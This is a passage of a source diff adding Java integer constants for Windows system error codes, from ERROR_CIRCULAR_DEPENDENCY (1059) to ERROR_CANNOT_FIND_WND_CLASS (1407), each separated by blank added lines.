+  public static final int ERROR_CIRCULAR_DEPENDENCY = 1059;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVICE_DOES_NOT_EXIST = 1060;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVICE_CANNOT_ACCEPT_CTRL = 1061;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVICE_NOT_ACTIVE = 1062;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FAILED_SERVICE_CONTROLLER_CONNECT = 1063;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_EXCEPTION_IN_SERVICE = 1064;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DATABASE_DOES_NOT_EXIST = 1065;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVICE_SPECIFIC_ERROR = 1066;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PROCESS_ABORTED = 1067;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVICE_DEPENDENCY_FAIL = 1068;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVICE_LOGON_FAILED = 1069;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVICE_START_HANG = 1070;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_SERVICE_LOCK = 1071;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVICE_MARKED_FOR_DELETE = 1072;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVICE_EXISTS = 1073;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ALREADY_RUNNING_LKG = 1074;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVICE_DEPENDENCY_DELETED = 1075;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BOOT_ALREADY_ACCEPTED = 1076;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVICE_NEVER_STARTED = 1077;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DUPLICATE_SERVICE_NAME = 1078;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DIFFERENT_SERVICE_ACCOUNT = 1079;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANNOT_DETECT_DRIVER_FAILURE = 1080;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANNOT_DETECT_PROCESS_ABORT = 1081;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_RECOVERY_PROGRAM = 1082;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVICE_NOT_IN_EXE = 1083;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_SAFEBOOT_SERVICE = 1084;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_END_OF_MEDIA = 1100;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FILEMARK_DETECTED = 1101;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BEGINNING_OF_MEDIA = 1102;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SETMARK_DETECTED = 1103;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_DATA_DETECTED = 1104;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PARTITION_FAILURE = 1105;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_BLOCK_LENGTH = 1106;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DEVICE_NOT_PARTITIONED = 1107;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNABLE_TO_LOCK_MEDIA = 1108;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNABLE_TO_UNLOAD_MEDIA = 1109;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MEDIA_CHANGED = 1110;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BUS_RESET = 1111;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_MEDIA_IN_DRIVE = 1112;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_UNICODE_TRANSLATION = 1113;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DLL_INIT_FAILED = 1114;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SHUTDOWN_IN_PROGRESS = 1115;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_SHUTDOWN_IN_PROGRESS = 1116;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_IO_DEVICE = 1117;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERIAL_NO_DEVICE = 1118;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_IRQ_BUSY = 1119;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MORE_WRITES = 1120;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_COUNTER_TIMEOUT = 1121;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FLOPPY_ID_MARK_NOT_FOUND = 1122;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FLOPPY_WRONG_CYLINDER = 1123;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FLOPPY_UNKNOWN_ERROR = 1124;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FLOPPY_BAD_REGISTERS = 1125;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DISK_RECALIBRATE_FAILED = 1126;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DISK_OPERATION_FAILED = 1127;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DISK_RESET_FAILED = 1128;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_EOM_OVERFLOW = 1129;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_ENOUGH_SERVER_MEMORY = 1130;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_POSSIBLE_DEADLOCK = 1131;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MAPPED_ALIGNMENT = 1132;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SET_POWER_STATE_VETOED = 1140;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SET_POWER_STATE_FAILED = 1141;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TOO_MANY_LINKS = 1142;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_OLD_WIN_VERSION = 1150;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_APP_WRONG_OS = 1151;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SINGLE_INSTANCE_APP = 1152;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RMODE_APP = 1153;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_DLL = 1154;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_ASSOCIATION = 1155;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DDE_FAIL = 1156;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DLL_NOT_FOUND = 1157;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_MORE_USER_HANDLES = 1158;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MESSAGE_SYNC_ONLY = 1159;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SOURCE_ELEMENT_EMPTY = 1160;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DESTINATION_ELEMENT_FULL = 1161;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ILLEGAL_ELEMENT_ADDRESS = 1162;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MAGAZINE_NOT_PRESENT = 1163;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DEVICE_REINITIALIZATION_NEEDED = 1164;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DEVICE_REQUIRES_CLEANING = 1165;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DEVICE_DOOR_OPEN = 1166;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DEVICE_NOT_CONNECTED = 1167;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_FOUND = 1168;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_MATCH = 1169;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SET_NOT_FOUND = 1170;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_POINT_NOT_FOUND = 1171;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_TRACKING_SERVICE = 1172;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_VOLUME_ID = 1173;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNABLE_TO_REMOVE_REPLACED = 1175;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNABLE_TO_MOVE_REPLACEMENT = 1176;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNABLE_TO_MOVE_REPLACEMENT_2 = 1177;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_JOURNAL_DELETE_IN_PROGRESS = 1178;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_JOURNAL_NOT_ACTIVE = 1179;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_POTENTIAL_FILE_FOUND = 1180;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_JOURNAL_ENTRY_DELETED = 1181;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SHUTDOWN_IS_SCHEDULED = 1190;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SHUTDOWN_USERS_LOGGED_ON = 1191;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_DEVICE = 1200;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CONNECTION_UNAVAIL = 1201;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DEVICE_ALREADY_REMEMBERED = 1202;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_NET_OR_BAD_PATH = 1203;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_PROVIDER = 1204;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANNOT_OPEN_PROFILE = 1205;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_PROFILE = 1206;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_CONTAINER = 1207;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_EXTENDED_ERROR = 1208;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_GROUPNAME = 1209;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_COMPUTERNAME = 1210;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_EVENTNAME = 1211;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_DOMAINNAME = 1212;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_SERVICENAME = 1213;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_NETNAME = 1214;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_SHARENAME = 1215;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_PASSWORDNAME = 1216;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_MESSAGENAME = 1217;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_MESSAGEDEST = 1218;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SESSION_CREDENTIAL_CONFLICT = 1219;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_REMOTE_SESSION_LIMIT_EXCEEDED = 1220;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DUP_DOMAINNAME = 1221;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_NETWORK = 1222;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANCELLED = 1223;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_USER_MAPPED_FILE = 1224;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CONNECTION_REFUSED = 1225;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_GRACEFUL_DISCONNECT = 1226;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ADDRESS_ALREADY_ASSOCIATED = 1227;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ADDRESS_NOT_ASSOCIATED = 1228;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CONNECTION_INVALID = 1229;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CONNECTION_ACTIVE = 1230;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NETWORK_UNREACHABLE = 1231;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_HOST_UNREACHABLE = 1232;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PROTOCOL_UNREACHABLE = 1233;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PORT_UNREACHABLE = 1234;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_REQUEST_ABORTED = 1235;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CONNECTION_ABORTED = 1236;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RETRY = 1237;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CONNECTION_COUNT_LIMIT = 1238;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LOGIN_TIME_RESTRICTION = 1239;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LOGIN_WKSTA_RESTRICTION = 1240;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INCORRECT_ADDRESS = 1241;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ALREADY_REGISTERED = 1242;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVICE_NOT_FOUND = 1243;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_AUTHENTICATED = 1244;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_LOGGED_ON = 1245;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CONTINUE = 1246;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ALREADY_INITIALIZED = 1247;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_MORE_DEVICES = 1248;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_SUCH_SITE = 1249;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DOMAIN_CONTROLLER_EXISTS = 1250;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ONLY_IF_CONNECTED = 1251;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_OVERRIDE_NOCHANGES = 1252;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_USER_PROFILE = 1253;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_SUPPORTED_ON_SBS = 1254;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVER_SHUTDOWN_IN_PROGRESS = 1255;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_HOST_DOWN = 1256;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NON_ACCOUNT_SID = 1257;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NON_DOMAIN_SID = 1258;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_APPHELP_BLOCK = 1259;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ACCESS_DISABLED_BY_POLICY = 1260;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_REG_NAT_CONSUMPTION = 1261;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CSCSHARE_OFFLINE = 1262;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PKINIT_FAILURE = 1263;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SMARTCARD_SUBSYSTEM_FAILURE = 1264;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DOWNGRADE_DETECTED = 1265;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MACHINE_LOCKED = 1271;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CALLBACK_SUPPLIED_INVALID_DATA = 1273;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SYNC_FOREGROUND_REFRESH_REQUIRED = 1274;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DRIVER_BLOCKED = 1275;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_IMPORT_OF_NON_DLL = 1276;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ACCESS_DISABLED_WEBBLADE = 1277;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ACCESS_DISABLED_WEBBLADE_TAMPER = 1278;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RECOVERY_FAILURE = 1279;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ALREADY_FIBER = 1280;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ALREADY_THREAD = 1281;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_STACK_BUFFER_OVERRUN = 1282;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PARAMETER_QUOTA_EXCEEDED = 1283;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DEBUGGER_INACTIVE = 1284;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DELAY_LOAD_FAILED = 1285;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_VDM_DISALLOWED = 1286;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNIDENTIFIED_ERROR = 1287;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_CRUNTIME_PARAMETER = 1288;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BEYOND_VDL = 1289;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INCOMPATIBLE_SERVICE_SID_TYPE = 1290;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DRIVER_PROCESS_TERMINATED = 1291;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_IMPLEMENTATION_LIMIT = 1292;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PROCESS_IS_PROTECTED = 1293;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVICE_NOTIFY_CLIENT_LAGGING = 1294;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DISK_QUOTA_EXCEEDED = 1295;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CONTENT_BLOCKED = 1296;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INCOMPATIBLE_SERVICE_PRIVILEGE = 1297;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_LABEL = 1299;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_ALL_ASSIGNED = 1300;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SOME_NOT_MAPPED = 1301;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_QUOTAS_FOR_ACCOUNT = 1302;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LOCAL_USER_SESSION_KEY = 1303;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NULL_LM_PASSWORD = 1304;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNKNOWN_REVISION = 1305;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_REVISION_MISMATCH = 1306;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_OWNER = 1307;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_PRIMARY_GROUP = 1308;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_IMPERSONATION_TOKEN = 1309;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANT_DISABLE_MANDATORY = 1310;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_LOGON_SERVERS = 1311;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_SUCH_LOGON_SESSION = 1312;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_SUCH_PRIVILEGE = 1313;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PRIVILEGE_NOT_HELD = 1314;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_ACCOUNT_NAME = 1315;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_USER_EXISTS = 1316;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_SUCH_USER = 1317;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_GROUP_EXISTS = 1318;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_SUCH_GROUP = 1319;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MEMBER_IN_GROUP = 1320;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MEMBER_NOT_IN_GROUP = 1321;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LAST_ADMIN = 1322;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WRONG_PASSWORD = 1323;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ILL_FORMED_PASSWORD = 1324;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PASSWORD_RESTRICTION = 1325;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LOGON_FAILURE = 1326;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ACCOUNT_RESTRICTION = 1327;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_LOGON_HOURS = 1328;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_WORKSTATION = 1329;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PASSWORD_EXPIRED = 1330;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ACCOUNT_DISABLED = 1331;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NONE_MAPPED = 1332;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TOO_MANY_LUIDS_REQUESTED = 1333;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LUIDS_EXHAUSTED = 1334;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_SUB_AUTHORITY = 1335;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_ACL = 1336;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_SID = 1337;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_SECURITY_DESCR = 1338;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_INHERITANCE_ACL = 1340;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVER_DISABLED = 1341;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVER_NOT_DISABLED = 1342;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_ID_AUTHORITY = 1343;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ALLOTTED_SPACE_EXCEEDED = 1344;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_GROUP_ATTRIBUTES = 1345;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_IMPERSONATION_LEVEL = 1346;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANT_OPEN_ANONYMOUS = 1347;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_VALIDATION_CLASS = 1348;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_TOKEN_TYPE = 1349;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_SECURITY_ON_OBJECT = 1350;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANT_ACCESS_DOMAIN_INFO = 1351;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_SERVER_STATE = 1352;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_DOMAIN_STATE = 1353;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_DOMAIN_ROLE = 1354;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_SUCH_DOMAIN = 1355;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DOMAIN_EXISTS = 1356;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DOMAIN_LIMIT_EXCEEDED = 1357;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INTERNAL_DB_CORRUPTION = 1358;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INTERNAL_ERROR = 1359;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_GENERIC_NOT_MAPPED = 1360;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_DESCRIPTOR_FORMAT = 1361;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_LOGON_PROCESS = 1362;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LOGON_SESSION_EXISTS = 1363;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_SUCH_PACKAGE = 1364;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_LOGON_SESSION_STATE = 1365;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LOGON_SESSION_COLLISION = 1366;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_LOGON_TYPE = 1367;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANNOT_IMPERSONATE = 1368;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RXACT_INVALID_STATE = 1369;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RXACT_COMMIT_FAILURE = 1370;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SPECIAL_ACCOUNT = 1371;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SPECIAL_GROUP = 1372;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SPECIAL_USER = 1373;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MEMBERS_PRIMARY_GROUP = 1374;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TOKEN_ALREADY_IN_USE = 1375;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_SUCH_ALIAS = 1376;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MEMBER_NOT_IN_ALIAS = 1377;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MEMBER_IN_ALIAS = 1378;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ALIAS_EXISTS = 1379;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LOGON_NOT_GRANTED = 1380;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TOO_MANY_SECRETS = 1381;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SECRET_TOO_LONG = 1382;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INTERNAL_DB_ERROR = 1383;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TOO_MANY_CONTEXT_IDS = 1384;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LOGON_TYPE_NOT_GRANTED = 1385;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NT_CROSS_ENCRYPTION_REQUIRED = 1386;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_SUCH_MEMBER = 1387;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_MEMBER = 1388;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TOO_MANY_SIDS = 1389;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LM_CROSS_ENCRYPTION_REQUIRED = 1390;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_INHERITANCE = 1391;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FILE_CORRUPT = 1392;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DISK_CORRUPT = 1393;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_USER_SESSION_KEY = 1394;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LICENSE_QUOTA_EXCEEDED = 1395;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WRONG_TARGET_NAME = 1396;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MUTUAL_AUTH_FAILED = 1397;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TIME_SKEW = 1398;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CURRENT_DOMAIN_NOT_ALLOWED = 1399;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_WINDOW_HANDLE = 1400;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_MENU_HANDLE = 1401;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_CURSOR_HANDLE = 1402;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_ACCEL_HANDLE = 1403;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_HOOK_HANDLE = 1404;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_DWP_HANDLE = 1405;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TLW_WITH_WSCHILD = 1406;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANNOT_FIND_WND_CLASS = 1407;
+  
+
+
+
+
+
+
+
+
